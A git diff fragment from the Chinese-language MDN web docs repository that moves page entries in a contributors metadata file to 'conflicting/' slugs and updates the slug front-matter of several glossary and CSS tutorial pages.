"learn/Performance/Web_Performance_Basics": { - "modified": "2020-07-16T22:40:42.886Z", + "conflicting/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks": { + "modified": "2020-05-25T10:01:07.179Z", "contributors": [ - "shuiRong", - "creative_fish" + "sweeney", + "xgqfrms" ] }, - "learn/Performance/感知性能": { - "modified": "2020-07-16T22:40:43.760Z", + "conflicting/Web/HTML/Element": { + "modified": "2020-01-10T02:18:08.432Z", "contributors": [ - "biqing" + "yinsang", + "Jevol", + "yongdi", + "Breezewish", + "ziyunfei" ] }, - "learn/Server-side": { - "modified": "2020-07-16T22:36:03.668Z", + "conflicting/Web/Guide/HTML/HTML5": { + "modified": "2019-03-23T23:39:08.496Z", "contributors": [ - "ZuoRight", - "xixilog", - "JamesZhange", - "Munch_TZB", - "GHLgh" + "ziyunfei", + "kevmdn" ] }, - "learn/Server-side/Django": { - "modified": "2020-07-16T22:36:36.546Z", + "conflicting/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content": { + "modified": "2019-09-28T22:50:38.146Z", "contributors": [ - "diyigechipangxie", - "xixilog", - "chinanf-boy", - "hstaoqian", - "Zhaoyu" + "zaixuzheng", + "wth", + "Cindy_Liu", + "lyxuncle", + "flyonok", + "zhaiyu.zhaiyu", + "troywith77", + "ArthasTree", + "rogueduola", + "tankhanleng", + "shenhao" ] }, - "learn/Server-side/Django/Authentication": { - "modified": "2020-07-16T22:37:25.161Z", + "conflicting/Web/API/Document/hasFocus": { + "modified": "2019-03-23T23:31:56.410Z", "contributors": [ - "floodwater", - "edgar-chen", - "xixilog" + "xgqfrms-GitHub", + "kmc947373", + "sxxxsz", + "Breezewish", + "teoli", + "sunnylost" ] }, - "learn/Server-side/Django/Deployment": { - "modified": "2020-11-23T18:29:57.524Z", + "conflicting/Web/Media/Formats": { + "modified": "2019-07-03T23:42:04.646Z", "contributors": [ - "keetack", - "edgar-chen", - "yan-jin", - "xixilog" + "l613", + "zodiac-xl", + "ziyunfei" ] }, - "learn/Server-side/Django/Forms": { - "modified": "2020-07-16T22:37:34.229Z", + "conflicting/Web/HTTP/Status": { + "modified": "2019-01-16T13:20:30.376Z", "contributors": [ - "buttre", - "edgar-chen", - "xixilog" + "ziyunfei" ] }, - "learn/Server-side/Django/Generic_views": { - "modified": "2020-07-16T22:37:19.625Z", + "conflicting/Web/HTTP/CORS": { + "modified": "2019-03-23T23:14:41.414Z", "contributors": [ - "edgar-chen", - "xixilog", - "SphinxKnight" + "GerryLon", + "xgqfrms-GitHub", + "holynewbie", + "jearylee" ] }, - "learn/Server-side/Django/Introduction": { - "modified": "2020-07-16T22:36:42.459Z", + "conflicting/Learn/Getting_started_with_the_web/JavaScript_basics": { + "modified": "2019-03-23T23:35:23.323Z", "contributors": [ - "khalim", - "Nel", - "ShuangFarmer", - "xiezhedaima9591", - "chinanf-boy" + "xCss", + "KMethod", + "lifeng", + "maslak", + "Eridanus_Sora", + "ywang1724", + "reygreen1", + "teoli", + "Lyper", + "Simontechwriter" ] }, - "learn/Server-side/Django/Models": { - "modified": "2020-07-16T22:37:00.935Z", + "conflicting/Web/JavaScript/Guide/Introduction": { + "modified": "2019-03-23T23:36:14.591Z", "contributors": [ - "shawPLUSroot", - "senghongchong7", - "phdgogogo", - "colin3dmax", - "AIIEOIBD", - "zphj1987", - "cashlu", - "xixilog", - "szlh", - "chinanf-boy" + "wbamberg", + "Breezewish", + "ReyCG_sub", + "ReyCG", + "teoli", + "LieGroup", + "rogersuen" ] }, - "learn/Server-side/Django/Sessions": { - "modified": "2020-07-16T22:37:28.578Z", + "conflicting/Web/JavaScript/Guide/Introduction_6f341ba6db4b060ccbd8dce4a0d5214b": { + "modified": "2019-03-23T23:36:14.828Z", "contributors": [ - "buttre", - "edgar-chen", - "xixilog" + "MrMario", + "ReyCG_sub", + "teoli", + "LieGroup", + "rogersuen" ] }, - "learn/Server-side/Django/Testing": { - "modified": "2020-07-16T22:37:39.373Z", + "conflicting/Web/JavaScript/Guide/Regular_Expressions/Assertions": { + "modified": "2020-10-30T11:36:06.394Z", + "contributors": [ + "phone-burner" + ] + }, + "conflicting/Learn/JavaScript/Objects": { + "modified": "2020-03-12T19:38:08.916Z", + "contributors": [ + "huijing", + "SAM.L", + "NarK", + "umiyevol", + "daix6", + "ashjs", + "sabrinaluo", + "xanarry", + "fskuok", + "hackerZhang", + "hipop", + "jamesliuhk", + "awp0011", + "ryanouyang", + "yiding_he", + "teoli", + "yimity", + "shiyutang", + "xcffl" + ] + }, + "conflicting/Web/JavaScript/Reference/Global_Objects/ArrayBuffer": { + "modified": "2020-10-15T21:37:49.333Z", "contributors": [ - "edgar-chen", - "xixilog" + "fscholz", + "kameii", + "liyongleihf2006", + "fred4444source" ] }, - "learn/Server-side/Django/Tutorial_local_library_website": { - "modified": "2020-07-16T22:36:50.644Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/Boolean": { + "modified": "2020-10-15T21:06:58.693Z", "contributors": [ - "zengqi", - "ddtyjmyjm", - "hstaoqian" + "zhangchen", + "keller0", + "teoli", + "AlexChao", + "ziyunfei" ] }, - "learn/Server-side/Django/django_assessment_blog": { - "modified": "2020-07-16T22:37:49.691Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/DataView": { + "modified": "2020-10-15T21:38:02.121Z", "contributors": [ - "edgar-chen" + "fscholz", + "liyongleihf2006", + "Taoja", + "mzhejiayu" ] }, - "learn/Server-side/Django/skeleton_website": { - "modified": "2020-07-16T22:36:55.364Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/Date": { + "modified": "2020-10-15T21:28:32.786Z", "contributors": [ - "Nel", - "xixilog", - "ddtyjmyjm", - "MengLingqin", - "chinanf-boy", - "hstaoqian" + "zhangchen", + "imgss", + "fscholz", + "regiondavid", + "mage3k", + "Cattla", + "teoli", + "AlexChao" ] }, - "learn/Server-side/Django/web_application_security": { - "modified": "2020-07-16T22:37:47.216Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/Error": { + "modified": "2019-04-02T14:33:04.306Z", "contributors": [ - "knktc", - "edgar-chen", - "xixilog" + "ngtmuzi", + "shajiquan" ] }, - "learn/Server-side/Django/主页构建": { - "modified": "2020-07-16T22:37:11.997Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/EvalError": { + "modified": "2020-10-15T21:59:36.134Z", "contributors": [ - "feko", - "mojiangyuan", - "colin3dmax", - "floodwater", - "xixilog", - "chinanf-boy" + "hwj" ] }, - "learn/Server-side/Django/开发环境": { - "modified": "2020-10-06T10:08:45.805Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/Function": { + "modified": "2019-09-11T09:25:06.080Z", "contributors": [ - "kuailekai", - "silentpanda97", - "Adrian-Yan", - "q2937711", - "xixilog", - "chinanf-boy" + "Ende93", + "FrankElean", + "xiaowtz", + "DevinHe", + "teoli", + "ziyunfei", + "Oatn" ] }, - "learn/Server-side/Django/管理站点": { - "modified": "2020-07-16T22:37:06.131Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/GeneratorFunction": { + "modified": "2020-10-15T21:40:51.679Z", "contributors": [ - "Jeffxzj", - "wangfangping", - "colin3dmax", - "indv-zhu", - "chinanf-boy" + "fscholz", + "shinexyt", + "zhangchen", + "webery" ] }, - "learn/Server-side/Express_Nodejs": { - "modified": "2020-07-16T22:37:56.406Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat": { + "modified": "2020-04-21T09:01:11.304Z", "contributors": [ - "hellorayza", - "百里笙歌", - "Frederick-S", - "yatace", - "edgar-chen", - "Ran_Lyu", - "longzhengxiong", - "sp900409", - "chenlexing", - "ant0x00" + "fscholz", + "liyongleihf2006" ] }, - "learn/Server-side/Express_Nodejs/Displaying_data": { - "modified": "2020-10-27T00:17:29.715Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/Map": { + "modified": "2019-12-28T23:13:19.788Z", "contributors": [ - "Megrax", - "socovo", - "edgar-chen" + "wallena3", + "YaoZeyuan", + "kameii", + "chaosdog", + "webery" ] }, - "learn/Server-side/Express_Nodejs/Displaying_data/Author_detail_page": { - "modified": "2020-07-16T22:38:39.461Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/Number": { + "modified": "2019-03-23T22:12:02.199Z", "contributors": [ - "woshiqiang1", - "edgar-chen" + "AlexChao" ] }, - "learn/Server-side/Express_Nodejs/Displaying_data/Author_list_page": { - "modified": "2020-07-16T22:38:38.246Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/Object": { + "modified": "2020-10-15T21:21:47.231Z", "contributors": [ - "edgar-chen" + "SphinxKnight", + "daihaoxin", + "zhangchen", + "wwy2018", + "Linjing", + "WizardAlice", + "ywjco", + "xgqfrms-GitHub", + "Cattla", + "scscms", + "webery", + "luoway", + "ziyunfei", + "LinusYu", + "teoli", + "iwo" ] }, - "learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_detail_page_and_challenge": { - "modified": "2020-07-16T22:38:39.803Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/Promise": { + "modified": "2019-06-27T05:04:40.773Z", "contributors": [ - "staticfire", - "edgar-chen" + "SphinxKnight", + "cyancity", + "Bryannnnnnn", + "HenryYong", + "mountainmoon" ] }, - "learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_list_page": { - "modified": "2020-07-16T22:38:37.044Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy": { + "modified": "2020-10-15T21:32:21.161Z", "contributors": [ - "edgar-chen" + "stack_vim", + "RainSlide", + "wallena3", + "daxiazilong", + "Bayes", + "SphinxKnight", + "myl0204", + "ziyunfei" ] }, - "learn/Server-side/Express_Nodejs/Displaying_data/Book_detail_page": { - "modified": "2020-07-16T22:38:39.148Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/RangeError": { + "modified": "2020-10-15T22:06:54.468Z", "contributors": [ - "edgar-chen" + "pea3nut" ] }, - "learn/Server-side/Express_Nodejs/Displaying_data/Book_list_page": { - "modified": "2020-07-16T22:38:36.367Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/ReferenceError": { + "modified": "2020-10-15T22:04:38.794Z", "contributors": [ - "edgar-chen" + "Mal_akh" ] }, - "learn/Server-side/Express_Nodejs/Displaying_data/Date_formatting_using_moment": { - "modified": "2020-07-16T22:38:37.610Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/RegExp": { + "modified": "2019-07-08T23:50:51.861Z", "contributors": [ - "edgar-chen" + "teoli", + "AlexChao", + "ziyunfei" ] }, - "learn/Server-side/Express_Nodejs/Displaying_data/Genre_detail_page": { - "modified": "2020-07-16T22:38:38.748Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer": { + "modified": "2020-10-15T21:58:38.272Z", "contributors": [ - "edgar-chen" + "wallena3", + "xgqfrms-GitHub" ] }, - "learn/Server-side/Express_Nodejs/Displaying_data/Home_page": { - "modified": "2020-07-16T22:38:35.735Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/String": { + "modified": "2020-10-15T21:27:29.084Z", "contributors": [ - "edgar-chen" + "gqbre", + "pabloyshi", + "zhazhjie", + "zqyue", + "Ende93", + "midare", + "Yuxuan_Jiang", + "micheal-death", + "xgqfrms-GitHub", + "Hugh", + "terrycafe520", + "qianjiahao", + "paddingme", + "teoli", + "ziyunfei" ] }, - "learn/Server-side/Express_Nodejs/Displaying_data/LocalLibrary_base_template": { - "modified": "2020-10-27T06:26:13.607Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/Symbol": { + "modified": "2020-10-15T21:42:54.702Z", "contributors": [ - "Megrax", - "edgar-chen" + "zhangchen", + "purple_force" ] }, - "learn/Server-side/Express_Nodejs/Displaying_data/Template_primer": { - "modified": "2020-07-16T22:38:34.671Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/SyntaxError": { + "modified": "2019-03-23T23:03:07.644Z", "contributors": [ - "edgar-chen" + "Ende93", + "yenshen" ] }, - "learn/Server-side/Express_Nodejs/Displaying_data/flow_control_using_async": { - "modified": "2020-07-16T22:38:33.746Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/TypedArray": { + "modified": "2019-03-23T22:21:58.417Z", "contributors": [ - "edgar-chen" + "wizardforcel", + "liyongleihf2006" ] }, - "learn/Server-side/Express_Nodejs/Installing_on_PWS_Cloud_Foundry": { - "modified": "2020-09-24T11:45:05.090Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/TypeError": { + "modified": "2020-10-15T21:39:50.956Z", "contributors": [ - "Mdreame", - "edgar-chen" + "Tao-Quixote", + "coolfireWang", + "Ende93" ] }, - "learn/Server-side/Express_Nodejs/Introduction": { - "modified": "2020-07-16T22:38:13.912Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/URIError": { + "modified": "2020-10-15T22:03:36.123Z", "contributors": [ - "Roy-Tian", - "hehe1111", - "sun603", - "janyin", - "biblade", - "outman", - "congrongdeyu", - "codeofjackie", - "edgar-chen", - "bybiuhappy", - "ShirleyM", - "lofayo", - "chengzhibing" + "Tao-Quixote" ] }, - "learn/Server-side/Express_Nodejs/Tutorial_local_library_website": { - "modified": "2020-07-16T22:38:17.531Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/WeakMap": { + "modified": "2019-03-23T22:23:35.449Z", "contributors": [ - "Roy-Tian", - "chudongsong", - "janyin", - "edgar-chen" + "hhxxhg", + "xdsnet" ] }, - "learn/Server-side/Express_Nodejs/deployment": { - "modified": "2020-07-16T22:38:50.827Z", + "conflicting/Web/JavaScript/Reference/Global_Objects/WeakSet": { + "modified": "2019-10-09T00:35:58.794Z", "contributors": [ - "edgar-chen", - "codeofjackie" + "sky-gg", + "SphinxKnight", + "teoli", + "ziyunfei" ] }, - "learn/Server-side/Express_Nodejs/development_environment": { - "modified": "2020-07-16T22:38:02.448Z", + "conflicting/Web/JavaScript/Reference/Operators": { + "modified": "2020-10-15T21:31:37.464Z", "contributors": [ - "snaildarter", - "phili-p", - "Roy-Tian", - "sun603", - "yijie_sun", - "yaoqtan", - "jianchao_xue", - "edgar-chen", - "BarryLiu1995" + "srq18211", + "RainSlide", + "lmislm", + "Braveheartforyou", + "zhangchen", + "xixigeek", + "XHMM", + "ZhengAu", + "aimiy", + "xhlwill", + "xgqfrms-GitHub", + "yayayhoo", + "xiaofengling", + "git123hub", + "AnnAngela", + "tiansh", + "AlexChao" ] }, - "learn/Server-side/Express_Nodejs/forms": { - "modified": "2020-08-07T05:55:45.402Z", + "conflicting/Web/JavaScript/Reference/Operators_8d54701de06af40a7c984517cbe87b3e": { + "modified": "2020-10-15T21:29:35.850Z", "contributors": [ - "yunxiaomeng", - "grape", - "hdh296", - "socovo", - "edgar-chen", - "zhangyu911013" + "AchooLuv", + "wbamberg", + "cuixiping", + "adoreCherish", + "yofine", + "AlexChao", + "SphinxKnight" ] }, - "learn/Server-side/Express_Nodejs/forms/Create_BookInstance_form": { - "modified": "2020-07-16T22:38:46.101Z", + "conflicting/Web/JavaScript/Reference/Operators_7c8eb9475d97a4a734c5991857698560": { + "modified": "2020-03-12T19:40:23.030Z", "contributors": [ - "edgar-chen" + "xmasuhai", + "GreedyPig", + "parabolazz", + "ywjco", + "xgqfrms-GitHub", + "clcy1243", + "tiansh", + "AlexChao" ] }, - "learn/Server-side/Express_Nodejs/forms/Create_author_form": { - "modified": "2020-07-16T22:38:44.657Z", + "conflicting/Web/JavaScript/Reference/Operators_310dc67549939233c3d18a8fa2cdbb23": { + "modified": "2020-03-12T19:41:27.611Z", "contributors": [ - "edgar-chen" + "ch4zzzzz", + "ubuntugx", + "GreedyPig", + "gongzhibin", + "choukin", + "blue0125", + "Ende93", + "beiweiqiang", + "qianjiahao" ] }, - "learn/Server-side/Express_Nodejs/forms/Create_book_form": { - "modified": "2020-07-16T22:38:45.191Z", + "conflicting/Web/JavaScript/Reference/Operators_f71733c8e7001a29c3ec40d8522a4aca": { + "modified": "2020-10-15T21:22:11.681Z", "contributors": [ + "HermitSun", + "git710", + "RainSlide", + "withoutmelv", "SphinxKnight", - "UPUP", - "edgar-chen" + "Kaijun", + "fphonor", + "zhangchen", + "YoungChen", + "zhuangyin", + "yenshen", + "teoli", + "MoltBoy" ] }, - "learn/Server-side/Express_Nodejs/forms/Create_genre_form": { - "modified": "2020-07-16T22:38:43.645Z", + "conflicting/Web/JavaScript/Reference/Lexical_grammar": { + "modified": "2019-03-23T23:46:04.954Z", "contributors": [ - "edgar-chen" + "fangnanjun", + "Haichao", + "teoli", + "Mickeyboy" ] }, - "learn/Server-side/Express_Nodejs/forms/Delete_author_form": { - "modified": "2020-07-16T22:38:46.761Z", + "conflicting/Web/JavaScript/Reference/Statements/switch": { + "modified": "2020-10-15T21:40:53.796Z", "contributors": [ - "edgar-chen" + "hellokidder", + "zhangchen", + "binguanghe", + "Lukas-LiuYi", + "fscholz" ] }, - "learn/Server-side/Express_Nodejs/forms/Update_Book_form": { - "modified": "2020-07-16T22:38:48.713Z", + "conflicting/Web/Progressive_web_apps_8afa7a63de0cecd1c19c3fdecf62f89f": { + "modified": "2019-03-18T20:52:05.037Z", "contributors": [ - "edgar-chen" + "chrisdavidmills", + "liminjun", + "xgqfrms-GitHub" ] }, - "learn/Server-side/Express_Nodejs/mongoose": { - "modified": "2020-08-12T09:45:03.710Z", + "conflicting/Web/Progressive_web_apps_cb2823fe6cfc1ddee5db1f6a5d240c67": { + "modified": "2019-03-18T20:52:04.596Z", "contributors": [ - "Dazhuzhu-github", - "vpstarter", - "百里笙歌", - "socovo", - "Roy-Tian", - "edgar-chen" + "chrisdavidmills", + "liminjun" ] }, - "learn/Server-side/Express_Nodejs/routes": { - "modified": "2020-10-23T08:33:36.699Z", + "conflicting/Web/Progressive_web_apps/Responsive/responsive_design_building_blocks": { + "modified": "2019-03-18T20:52:04.806Z", "contributors": [ - "Hawaii_zzapi", - "百里笙歌", - "Roy-Tian", - "jianchao_xue", - "edgar-chen" + "chrisdavidmills", + "liminjun" ] }, - "learn/Server-side/Express_Nodejs/skeleton_website": { - "modified": "2020-08-26T10:22:11.122Z", + "conflicting/Web/Progressive_web_apps/Introduction": { + "modified": "2019-04-18T12:23:20.526Z", "contributors": [ - "Tiny-Wei", - "Roy-Tian", - "edgar-chen" + "chenronghui" ] }, - "learn/Server-side/First_steps": { - "modified": "2020-07-16T22:36:11.413Z", + "conflicting/Web/HTTP/CSP": { + "modified": "2019-08-30T07:28:26.257Z", "contributors": [ - "DaniellaAngel", - "edgar-chen", - "ArcherGrey", - "chf007", - "tinyCucumber", - "07akioni" + "ziyunfei", + "Breezewish", + "zhangzipeng", + "R00tgrok" ] }, - "learn/Server-side/First_steps/Client-Server_overview": { - "modified": "2020-07-16T22:36:22.601Z", + "conflicting/Web/HTTP/CSP_aeae68a149c6fbe64e541cbdcd6ed5c5": { + "modified": "2019-08-30T07:28:05.612Z", "contributors": [ - "DaniellaAngel", - "JuleHenriHu", - "WindLo", - "yijie_sun", - "ZhuZhuDrinkMilk", - "edgar-chen", - "ShuangFarmer", - "whocare", - "BarryLiu1995", - "yuantongkang", - "liminjun", - "zhuangyin", - "old2sun", - "ziyouwa", - "Zeng" + "LeonDWong", + "lcxfs1991", + "Breezewish", + "ziyunfei" ] }, - "learn/Server-side/First_steps/Introduction": { - "modified": "2020-09-13T05:53:31.575Z", + "conflicting/Web/HTTP/CSP_9583294484b49ac391995b392c2b1ae1": { + "modified": "2019-03-23T23:03:20.586Z", "contributors": [ - "dake0805", - "vicco", - "yijie_sun", - "zhangchen", - "Nothosaurs", - "lonelee", - "diaotai", - "old2sun", - "ziyouwa", - "Zeng" + "ziyunfei", + "zhangzipeng" ] }, - "learn/Server-side/First_steps/Web_frameworks": { - "modified": "2020-07-16T22:36:26.173Z", + "conflicting/Web/Web_Components/Using_shadow_DOM": { + "modified": "2019-03-23T22:29:42.834Z", "contributors": [ - "mojiangyuan", - "DaniellaAngel", - "hikigaya58", - "tongwenwu", - "zhuzhangliang", - "edgar-chen", - "JamesZhange", - "ddtyjmyjm", - "Phoenixkaze", - "Jhongwun", - "Stevenhwang", - "yinzhuoya", - "old2sun", - "Zeng" + "xgqfrms-GitHub", + "fsx950223", + "floraluo", + "jchnxu" ] }, - "learn/Server-side/First_steps/Website_security": { - "modified": "2020-10-20T04:30:22.097Z", + "conflicting/Web/API_dd04ca1265cb79b990b8120e5f5070d3": { + "modified": "2019-03-18T20:42:39.198Z", "contributors": [ - "Megrax", - "mayhjx", - "yi2sun", - "ZhuZhuDrinkMilk", - "goat91", - "Zeng" + "wbamberg", + "fscholz", + "jiahui", + "zhenhua32", + "Meteormatt" ] }, - "learn/Web_Mechanics": { - "modified": "2020-07-16T22:22:13.542Z", + "conflicting/Web/API/File_and_Directory_Entries_API/Introduction": { + "modified": "2019-03-23T23:17:06.579Z", "contributors": [ - "jdk137", - "Ende93", - "yfdyh000", - "yanbinlucy" + "ziyunfei" ] }, - "使用Javascript和DOM_Interfaces来处理HTML": { - "modified": "2020-10-08T06:13:28.865Z", + "conflicting/Web/API/WebRTC_API_d8621144cbc61520339c3b10c61731f0": { + "modified": "2019-03-23T23:36:50.162Z", "contributors": [ - "ruiyang0012", - "crowphy", - "newued", - "helloguangxue", - "Jcrjia", - "Transfan", - "Laser", - "Carrie zhxj", - "Mgjbot", - "Surfchen", - "Kakurady", - "Heagle" + "lxyion", + "acgeeker", + "alayasix" ] } } \ No newline at end of file diff --git a/files/zh-cn/conflicting/glossary/chrome/index.html b/files/zh-cn/conflicting/glossary/chrome/index.html index a40b228f6b..7c563bc814 100644 --- a/files/zh-cn/conflicting/glossary/chrome/index.html +++ b/files/zh-cn/conflicting/glossary/chrome/index.html @@ -1,10 +1,11 @@ --- title: Chrome -slug: Chrome +slug: conflicting/Glossary/Chrome tags: - Toolkit API translation_of: Glossary/Chrome translation_of_original: Chrome +original_slug: Chrome ---

Chrome 这个单词在 Mozilla 的技术中有着多重含义。

diff --git a/files/zh-cn/conflicting/glossary/doctype/index.html b/files/zh-cn/conflicting/glossary/doctype/index.html index 543d822170..f93b74d8ba 100644 --- a/files/zh-cn/conflicting/glossary/doctype/index.html +++ b/files/zh-cn/conflicting/glossary/doctype/index.html @@ -1,8 +1,9 @@ --- title: DTD -slug: Glossary/DTD +slug: conflicting/Glossary/Doctype translation_of: Glossary/Doctype translation_of_original: Glossary/DTD +original_slug: Glossary/DTD ---

{{page("/en-US/docs/Glossary/Doctype")}}

diff --git a/files/zh-cn/conflicting/learn/common_questions/index.html b/files/zh-cn/conflicting/learn/common_questions/index.html index 53aac91402..0eefb8f643 100644 --- a/files/zh-cn/conflicting/learn/common_questions/index.html +++ b/files/zh-cn/conflicting/learn/common_questions/index.html @@ -1,10 +1,11 @@ --- title: Web 工程学 -slug: learn/Web_Mechanics +slug: conflicting/Learn/Common_questions tags: - Web 工程学 - 初学者 translation_of: Learn/Common_questions translation_of_original: Learn/Web_Mechanics +original_slug: learn/Web_Mechanics ---

请访问 常见问题

diff --git a/files/zh-cn/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html b/files/zh-cn/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html index e5a3bae8a0..a5ab6d1ebe 100644 --- a/files/zh-cn/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html +++ b/files/zh-cn/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html @@ -1,8 +1,9 @@ --- title: 层叠和继承 -slug: Web/Guide/CSS/Getting_started/Cascading_and_inheritance +slug: conflicting/Learn/CSS/Building_blocks/Cascade_and_inheritance translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance translation_of_original: Web/Guide/CSS/Getting_started/Cascading_and_inheritance +original_slug: Web/Guide/CSS/Getting_started/Cascading_and_inheritance ---

{{ CSSTutorialTOC() }}

diff --git a/files/zh-cn/conflicting/learn/css/building_blocks/index.html b/files/zh-cn/conflicting/learn/css/building_blocks/index.html index 0bfb7e2ed5..9c20acc77b 100644 --- a/files/zh-cn/conflicting/learn/css/building_blocks/index.html +++ b/files/zh-cn/conflicting/learn/css/building_blocks/index.html @@ -1,8 +1,9 @@ --- title: 盒模型 -slug: Web/Guide/CSS/Getting_started/Boxes +slug: conflicting/Learn/CSS/Building_blocks translation_of: Learn/CSS/Building_blocks translation_of_original: Web/Guide/CSS/Getting_started/Boxes +original_slug: Web/Guide/CSS/Getting_started/Boxes ---

{{ CSSTutorialTOC() }}

diff --git a/files/zh-cn/conflicting/learn/css/building_blocks/selectors/index.html b/files/zh-cn/conflicting/learn/css/building_blocks/selectors/index.html index 69f0700b19..1ab629b72f 100644 --- a/files/zh-cn/conflicting/learn/css/building_blocks/selectors/index.html +++ b/files/zh-cn/conflicting/learn/css/building_blocks/selectors/index.html @@ -1,8 +1,9 @@ --- title: 选择器 -slug: Web/Guide/CSS/Getting_started/Selectors +slug: conflicting/Learn/CSS/Building_blocks/Selectors translation_of: Learn/CSS/Building_blocks/Selectors translation_of_original: Web/Guide/CSS/Getting_started/Selectors +original_slug: Web/Guide/CSS/Getting_started/Selectors ---

{{ CSSTutorialTOC() }}

diff --git a/files/zh-cn/conflicting/learn/css/building_blocks/styling_tables/index.html b/files/zh-cn/conflicting/learn/css/building_blocks/styling_tables/index.html index b6b4859e99..091b9458f9 100644 --- a/files/zh-cn/conflicting/learn/css/building_blocks/styling_tables/index.html +++ b/files/zh-cn/conflicting/learn/css/building_blocks/styling_tables/index.html @@ -1,8 +1,9 @@ --- title: 表格 -slug: Web/Guide/CSS/Getting_started/Tables +slug: conflicting/Learn/CSS/Building_blocks/Styling_tables translation_of: Learn/CSS/Building_blocks/Styling_tables translation_of_original: Web/Guide/CSS/Getting_started/Tables +original_slug: Web/Guide/CSS/Getting_started/Tables ---

{{CSSTutorialTOC}}{{previousPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Layout", "布局")}}

diff --git a/files/zh-cn/conflicting/learn/css/building_blocks/values_and_units/index.html b/files/zh-cn/conflicting/learn/css/building_blocks/values_and_units/index.html index a9348bd9bd..680e46c676 100644 --- a/files/zh-cn/conflicting/learn/css/building_blocks/values_and_units/index.html +++ b/files/zh-cn/conflicting/learn/css/building_blocks/values_and_units/index.html @@ -1,8 +1,9 @@ --- title: Color -slug: Web/Guide/CSS/Getting_started/Color +slug: conflicting/Learn/CSS/Building_blocks/Values_and_units translation_of: Learn/CSS/Introduction_to_CSS/Values_and_units#Colors translation_of_original: Web/Guide/CSS/Getting_started/Color +original_slug: Web/Guide/CSS/Getting_started/Color ---

{{ CSSTutorialTOC() }}

diff --git a/files/zh-cn/conflicting/learn/css/css_layout/index.html b/files/zh-cn/conflicting/learn/css/css_layout/index.html index ecd91f80e1..6e5cc4ae53 100644 --- a/files/zh-cn/conflicting/learn/css/css_layout/index.html +++ b/files/zh-cn/conflicting/learn/css/css_layout/index.html @@ -1,8 +1,9 @@ --- title: 布局 -slug: Web/Guide/CSS/Getting_started/Layout +slug: conflicting/Learn/CSS/CSS_layout translation_of: Learn/CSS/CSS_layout translation_of_original: Web/Guide/CSS/Getting_started/Layout +original_slug: Web/Guide/CSS/Getting_started/Layout ---

{{ CSSTutorialTOC() }}

diff --git a/files/zh-cn/conflicting/learn/css/first_steps/how_css_is_structured/index.html b/files/zh-cn/conflicting/learn/css/first_steps/how_css_is_structured/index.html index 17553c5013..7f731ee088 100644 --- a/files/zh-cn/conflicting/learn/css/first_steps/how_css_is_structured/index.html +++ b/files/zh-cn/conflicting/learn/css/first_steps/how_css_is_structured/index.html @@ -1,8 +1,9 @@ --- title: 创建可读性良好的CSS -slug: Web/Guide/CSS/Getting_started/Readable_CSS +slug: conflicting/Learn/CSS/First_steps/How_CSS_is_structured translation_of: Learn/CSS/Introduction_to_CSS/Syntax#Beyond_syntax_make_CSS_readable translation_of_original: Web/Guide/CSS/Getting_started/Readable_CSS +original_slug: Web/Guide/CSS/Getting_started/Readable_CSS ---

{{ CSSTutorialTOC() }}

diff --git a/files/zh-cn/conflicting/learn/css/first_steps/how_css_works/index.html b/files/zh-cn/conflicting/learn/css/first_steps/how_css_works/index.html index fce3091715..5bf2a3b516 100644 --- a/files/zh-cn/conflicting/learn/css/first_steps/how_css_works/index.html +++ b/files/zh-cn/conflicting/learn/css/first_steps/how_css_works/index.html @@ -1,8 +1,9 @@ --- title: CSS如何工作 -slug: Web/Guide/CSS/Getting_started/How_CSS_works +slug: conflicting/Learn/CSS/First_steps/How_CSS_works translation_of: Learn/CSS/First_steps/How_CSS_works translation_of_original: Web/Guide/CSS/Getting_started/How_CSS_works +original_slug: Web/Guide/CSS/Getting_started/How_CSS_works ---

{{ CSSTutorialTOC() }}

diff --git a/files/zh-cn/conflicting/learn/css/first_steps/how_css_works_64ba4331a7a5f4319c6e06b06ccdd521/index.html b/files/zh-cn/conflicting/learn/css/first_steps/how_css_works_64ba4331a7a5f4319c6e06b06ccdd521/index.html index ca5092f2af..918372bd48 100644 --- a/files/zh-cn/conflicting/learn/css/first_steps/how_css_works_64ba4331a7a5f4319c6e06b06ccdd521/index.html +++ b/files/zh-cn/conflicting/learn/css/first_steps/how_css_works_64ba4331a7a5f4319c6e06b06ccdd521/index.html @@ -1,12 +1,14 @@ --- title: 为何使用CSS? -slug: Web/Guide/CSS/Getting_started/Why_use_CSS +slug: >- + conflicting/Learn/CSS/First_steps/How_CSS_works_64ba4331a7a5f4319c6e06b06ccdd521 tags: - CSS - - 'CSS:入门' + - CSS:入门 - NeedsLiveSample translation_of: Learn/CSS/First_steps/How_CSS_works translation_of_original: Web/Guide/CSS/Getting_started/Why_use_CSS +original_slug: Web/Guide/CSS/Getting_started/Why_use_CSS ---

{{ CSSTutorialTOC() }}

